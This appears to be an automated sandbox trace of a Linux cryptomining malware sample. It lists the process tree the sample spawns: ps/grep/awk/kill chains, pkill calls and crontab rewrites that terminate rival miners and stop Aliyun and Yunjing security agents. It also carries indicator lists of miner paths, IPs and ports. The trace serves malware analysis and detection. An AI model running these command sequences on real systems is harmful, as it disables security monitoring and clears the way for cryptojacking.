  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1453
- /bin/grep
  grep exe
  2⤵
  PID:1456
- /bin/ls
  ls -latrh /proc/vmstat
  2⤵
  PID:1455
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1458
- /bin/grep
  grep exe
  2⤵
  PID:1461
- /bin/ls
  ls -latrh /proc/zoneinfo
  2⤵
  PID:1460
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1463
- /bin/grep
  grep /dot
  2⤵
  PID:1465
- /bin/grep
  grep -v grep
  2⤵
  PID:1466
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1464
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1468
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1467
- /usr/bin/pkill
  pkill -f hezb
  2⤵
  - Reads CPU attributes
  PID:1469
- /bin/grep
  grep -v grep
  2⤵
  PID:1472
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1474
- /bin/grep
  grep tracepath
  2⤵
  PID:1471
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1473
- /bin/ps
  ps aux
  2⤵
  PID:1470
- /usr/bin/pkill
  pkill -f /tmp/.out
  2⤵
  - Reads runtime system information
  PID:1475
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1480
- /bin/grep
  grep -v grep
  2⤵
  PID:1478
- /bin/grep
  grep ./ll1
  2⤵
  PID:1477
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1479
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1476
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  - Attempts to change immutable files
  PID:1482
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1481
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  - Attempts to change immutable files
  PID:1484
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1483
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1488
- /bin/grep
  grep -v grep
  2⤵
  PID:1487
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1489
- /bin/grep
  grep "php-fpm pool www"
  2⤵
  PID:1486
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1485
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1493
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1494
- /bin/grep
  grep -v grep
  2⤵
  PID:1492
- /bin/grep
  grep "Cli start accept"
  2⤵
  PID:1491
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1490
- /bin/grep
  grep -v grep
  2⤵
  PID:1497
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1499
- /bin/grep
  grep "bash -k"
  2⤵
  PID:1496
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1498
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1495
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1503
- /bin/grep
  grep -v grep
  2⤵
  PID:1502
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1504
- /bin/grep
  grep perfctl
  2⤵
  PID:1501
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1500
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1507
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1508
- /bin/grep
  grep 185.71.65.238
  2⤵
  PID:1506
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1509
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1513
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1512
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1514
- /bin/grep
  grep 140.82.52.87
  2⤵
  PID:1511
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1518
- /bin/grep
  grep -v -
  2⤵
  PID:1519
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1520
- /bin/grep
  grep 207.38.87.6
  2⤵
  PID:1516
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1517
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1524
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1523
- /bin/grep
  grep -v -
  2⤵
  PID:1525
- /bin/grep
  grep 23.94.214.119
  2⤵
  PID:1522
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1526
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1530
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1529
- /bin/grep
  grep -v -
  2⤵
  PID:1531
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1532
- /bin/grep
  grep 34.81.218.76:9486
  2⤵
  PID:1528
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1535
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1536
- /bin/grep
  grep -v -
  2⤵
  PID:1537
- /bin/grep
  grep 42.112.28.216:9486
  2⤵
  PID:1534
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1538
- /usr/bin/pkill
  pkill -f .git/kthreaddw
  2⤵
  - Reads CPU attributes
  PID:1539
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1540
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  - Reads runtime system information
  PID:1543
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1544
- /bin/grep
  grep -v grep
  2⤵
  PID:1542
- /bin/grep
  grep agetty
  2⤵
  PID:1541
- /usr/bin/pkill
  pkill -f 42.112.28.216
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1545
- /bin/sed
  sed /192.81.212.13/d
  2⤵
  PID:1547
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1546
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1548
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1551
- /bin/sed
  sed /base64/d
  2⤵
  PID:1550
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1549
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1554
- /bin/sed
  sed /python/d
  2⤵
  PID:1553
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1552
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1557
- /bin/sed
  sed /shm/d
  2⤵
  PID:1556
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1555
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1560
- /bin/sed
  sed /postgresql/d
  2⤵
  PID:1559
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1558
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1563
- /bin/sed
  sed /cloudfronts/d
  2⤵
  PID:1562
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1561
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1566
- /bin/sed
  sed /sshd/d
  2⤵
  PID:1565
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1564
- /bin/sed
  sed /linux/d
  2⤵
  PID:1568
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1569
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1567
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1572
- /bin/sed
  sed /neoogilvy/d
  2⤵
  PID:1571
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1570
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1575
- /bin/sed
  sed /rsync/d
  2⤵
  PID:1574
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1573
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1578
- /bin/sed
  sed /bpdeliver/d
  2⤵
  PID:1577
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1576
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1581
- /bin/sed
  sed /perfcc/d
  2⤵
  PID:1580
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1579
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1584
- /bin/sed
  sed /atdb/d
  2⤵
  PID:1583
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1582
- /usr/bin/pkill
  pkill -f sshd
  2⤵
  - Reads CPU attributes
  PID:1585
- /usr/bin/pkill
  pkill -f htop
  2⤵
  PID:1586
- /usr/bin/pkill
  pkill -f linuxsys
  2⤵
  - Reads CPU attributes
  PID:1588
- /usr/bin/pkill
  pkill -f kthreaddo
  2⤵
  - Reads CPU attributes
  PID:1589
- /usr/bin/pkill
  pkill -f donkey
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1590
- /usr/bin/pkill
  pkill -f sysupdater
  2⤵
  PID:1591
- /usr/bin/pkill
  pkill -f php-update.service
  2⤵
  PID:1592
- /usr/bin/pkill
  pkill -f update-setup
  2⤵
  - Reads runtime system information
  PID:1593
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1596
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1597
- /bin/grep
  grep :1414
  2⤵
  PID:1595
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1599
- /bin/grep
  grep -v -
  2⤵
  PID:1598
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1602
- /bin/grep
  grep 127.0.0.1:52018
  2⤵
  PID:1601
- /bin/grep
  grep -v -
  2⤵
  PID:1604
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1605
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1603
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1608
- /bin/grep
  grep -v -
  2⤵
  PID:1610
- /bin/grep
  grep :143
  2⤵
  PID:1607
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1611
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1609
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1615
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1614
- /bin/grep
  grep -v -
  2⤵
  PID:1616
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1617
- /bin/grep
  grep :2222
  2⤵
  PID:1613
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1621
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1620
- /bin/grep
  grep :3333
  2⤵
  PID:1619
- /bin/grep
  grep -v -
  2⤵
  PID:1622
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1623
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1627
- /bin/grep
  grep -v -
  2⤵
  PID:1628
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1629
- /bin/grep
  grep :3389
  2⤵
  PID:1625
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1626
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1632
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1633
- /bin/grep
  grep :4444
  2⤵
  PID:1631
- /bin/grep
  grep -v -
  2⤵
  PID:1634
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1635
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1639
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1638
- /bin/grep
  grep -v -
  2⤵
  PID:1640
- /bin/grep
  grep :5555
  2⤵
  PID:1637
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1641
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1644
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1645
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1647
- /bin/grep
  grep :6666
  2⤵
  PID:1643
- /bin/grep
  grep -v -
  2⤵
  PID:1646
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1650
- /bin/grep
  grep :6665
  2⤵
  PID:1649
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1653
- /bin/grep
  grep -v -
  2⤵
  PID:1652
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1651
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1656
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1657
- /bin/grep
  grep -v -
  2⤵
  PID:1658
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1659
- /bin/grep
  grep :6667
  2⤵
  PID:1655
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1663
- /bin/grep
  grep :7777
  2⤵
  PID:1661
- /bin/grep
  grep -v -
  2⤵
  PID:1664
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1665
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1662
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1669
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1668
- /bin/grep
  grep :8444
  2⤵
  PID:1667
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1671
- /bin/grep
  grep -v -
  2⤵
  PID:1670
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1675
- /bin/grep
  grep -v -
  2⤵
  PID:1676
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1674
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1677
- /bin/grep
  grep :3347
  2⤵
  PID:1673
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1681
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1680
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1683
- /bin/grep
  grep :14444
  2⤵
  PID:1679
- /bin/grep
  grep -v -
  2⤵
  PID:1682
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1687
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1686
- /bin/grep
  grep :14433
  2⤵
  PID:1685
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1689
- /bin/grep
  grep -v -
  2⤵
  PID:1688
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1692
- /bin/grep
  grep -v -
  2⤵
  PID:1694
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1695
- /bin/grep
  grep :13531
  2⤵
  PID:1691
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1693
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/01
  2⤵
  PID:1696
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1698
- /bin/cat
  cat /tmp/.X11-unix/01
  2⤵
  PID:1697
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/11
  2⤵
  - Attempts to change immutable files
  PID:1699
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1701
- /bin/cat
  cat /tmp/.X11-unix/11
  2⤵
  PID:1700
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/22
  2⤵
  PID:1702
- /bin/cat
  cat /tmp/.X11-unix/22
  2⤵
  PID:1703
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1704
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.1
  2⤵
  PID:1705
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1707
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:1706
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.2
  2⤵
  PID:1708
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1710
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:1709
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.3
  2⤵
  PID:1711
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1713
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:1712
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:1714
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:1715
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:1716
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.0
  2⤵
  PID:1717
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1719
- /bin/cat
  cat /tmp/.pg_stat.0
  2⤵
  PID:1718
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.1
  2⤵
  PID:1720
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1722
- /bin/cat
  cat /tmp/.pg_stat.1
  2⤵
  PID:1721
- /bin/sed
  sed -i "s/^0//" /data/./oka.pid
  2⤵
  PID:1723
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1725
- /bin/cat
  cat /data/./oka.pid
  2⤵
  PID:1724
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/d
  2⤵
  PID:1726
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1728
- /bin/cat
  cat /tmp/.ICE-unix/d
  2⤵
  PID:1727
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/m
  2⤵
  PID:1729
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1731
- /bin/cat
  cat /tmp/.ICE-unix/m
  2⤵
  PID:1730
- /usr/bin/pkill
  pkill -f 80.211.206.105
  2⤵
  - Reads CPU attributes
  PID:1732
- /usr/bin/pkill
  pkill -f 207.38.87.6
  2⤵
  - Reads CPU attributes
  PID:1733
- /usr/bin/pkill
  pkill -f p8444
  2⤵
  - Reads CPU attributes
  PID:1734
- /usr/bin/pkill
  pkill -f supportxmr
  2⤵
  - Reads runtime system information
  PID:1735
- /usr/bin/pkill
  pkill -f monero
  2⤵
  - Reads CPU attributes
  PID:1736
- /usr/bin/pkill
  pkill -f zsvc
  2⤵
  PID:1737
- /usr/bin/pkill
  pkill -f pdefenderd
  2⤵
  PID:1738
- /usr/bin/pkill
  pkill -f updatecheckerd
  2⤵
  PID:1739
- /usr/bin/pkill
  pkill -f cruner
  2⤵
  - Reads runtime system information
  PID:1740
- /usr/bin/pkill
  pkill -f dbused
  2⤵
  PID:1741
- /usr/bin/pkill
  pkill -f bashirc
  2⤵
  - Reads runtime system information
  PID:1742
- /usr/bin/pkill
  pkill -f meminitsrv
  2⤵
  - Reads CPU attributes
  PID:1743
- /usr/bin/pkill
  pkill -f kthreaddi
  2⤵
  - Reads CPU attributes
  PID:1744
- /usr/bin/pkill
  pkill -f srv00
  2⤵
  - Reads CPU attributes
  PID:1745
- /usr/bin/pkill
  pkill -f /tmp/.javae/javae
  2⤵
  PID:1746
- /usr/bin/pkill
  pkill -f .javae
  2⤵
  - Reads CPU attributes
  PID:1747
- /usr/bin/pkill
  pkill -f .syna
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1748
- /usr/bin/pkill
  pkill -f xmm
  2⤵
  - Reads CPU attributes
  PID:1749
- /usr/bin/pkill
  pkill -f solr.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1750
- /usr/bin/pkill
  pkill -f /tmp/.solr/solrd
  2⤵
  - Reads CPU attributes
  PID:1751
- /usr/bin/pkill
  pkill -f /tmp/javac
  2⤵
  - Reads runtime system information
  PID:1752
- /usr/bin/pkill
  pkill -f /tmp/.go.sh
  2⤵
  - Reads runtime system information
  PID:1753
- /usr/bin/pkill
  pkill -f /tmp/.x/agetty
  2⤵
  - Reads CPU attributes
  PID:1754
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  - Reads runtime system information
  PID:1755
- /usr/bin/pkill
  pkill -f c3pool
  2⤵
  PID:1756
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/gitag-ssh
  2⤵
  - Reads CPU attributes
  PID:1757
- /usr/bin/pkill
  pkill -f /tmp/1
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1758
- /usr/bin/pkill
  pkill -f /tmp/okk.sh
  2⤵
  - Reads runtime system information
  PID:1759
- /usr/bin/pkill
  pkill -f /tmp/gitaly
  2⤵
  PID:1760
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  - Reads CPU attributes
  PID:1761
- /usr/bin/pkill
  pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
  2⤵
  - Reads CPU attributes
  PID:1762
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/supervise
  2⤵
  - Reads CPU attributes
  PID:1763
- /usr/bin/pkill
  pkill -f /tmp/.ssh/redis.sh
  2⤵
  - Reads CPU attributes
  PID:1764
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1768
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1769
- /bin/grep
  grep ./udp
  2⤵
  PID:1766
- /bin/grep
  grep -v grep
  2⤵
  PID:1767
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1765
- /bin/grep
  grep -v grep
  2⤵
  PID:1772
- /bin/grep
  grep ./oka
  2⤵
  PID:1771
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1773
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1774
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1770
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1778
- /bin/grep
  grep -v grep
  2⤵
  PID:1777
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1779
- /bin/grep
  grep "postgres: autovacum"
  2⤵
  PID:1776
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1775
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1783
- /bin/grep
  grep -v "("
  2⤵
  PID:1784
- /usr/bin/awk
  awk "length(\$1) == 8"
  2⤵
  PID:1781
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1785
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1786
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  PID:1780
- /bin/grep
  grep -v bin
  2⤵
  PID:1782
- /bin/grep
  grep -v postgres
  2⤵
  PID:1787
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1788
- /bin/grep
  grep -v kinsing
  2⤵
  PID:1789
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1791
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1790
- /bin/grep
  grep -v "("
  2⤵
  PID:1796
- /bin/grep
  grep -v bin
  2⤵
  PID:1794
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1797
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1798
- /usr/bin/awk
  awk "length(\$1) == 16"
  2⤵
  PID:1793
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1795
- /bin/grep
  grep -v postgres
  2⤵
  PID:1799
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads runtime system information
  PID:1792
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1801
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1800
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1802
- /bin/grep
  grep -v bin
  2⤵
  PID:1805
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1806
- /bin/grep
  grep -v "("
  2⤵
  PID:1807
- /bin/ps
  ps ax
  2⤵
  - Reads runtime system information
  PID:1803
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1809
- /usr/bin/awk
  awk "length(\$5) == 8"
  2⤵
  PID:1804
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1808
- /bin/grep
  grep -v postgres
  2⤵
  PID:1810
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1811
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:1812
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1813
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1817
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1818
- /bin/grep
  grep /tmp/sscks
  2⤵
  PID:1816
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1814
- /bin/grep
  grep -v grep
  2⤵
  PID:1815
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1823
- /bin/grep
  grep "sleep 60"
  2⤵
  PID:1820
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1822
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1819
- /bin/grep
  grep -v grep
  2⤵
  PID:1821
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1828
- /bin/grep
  grep -v grep
  2⤵
  PID:1826
- /bin/grep
  grep ./crun
  2⤵
  PID:1825
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1827
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1824
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:1832
- /bin/grep
  grep -v grep
  2⤵
  PID:1831
- /bin/grep
  grep -vw kdevtmpfsi
  2⤵
  PID:1830
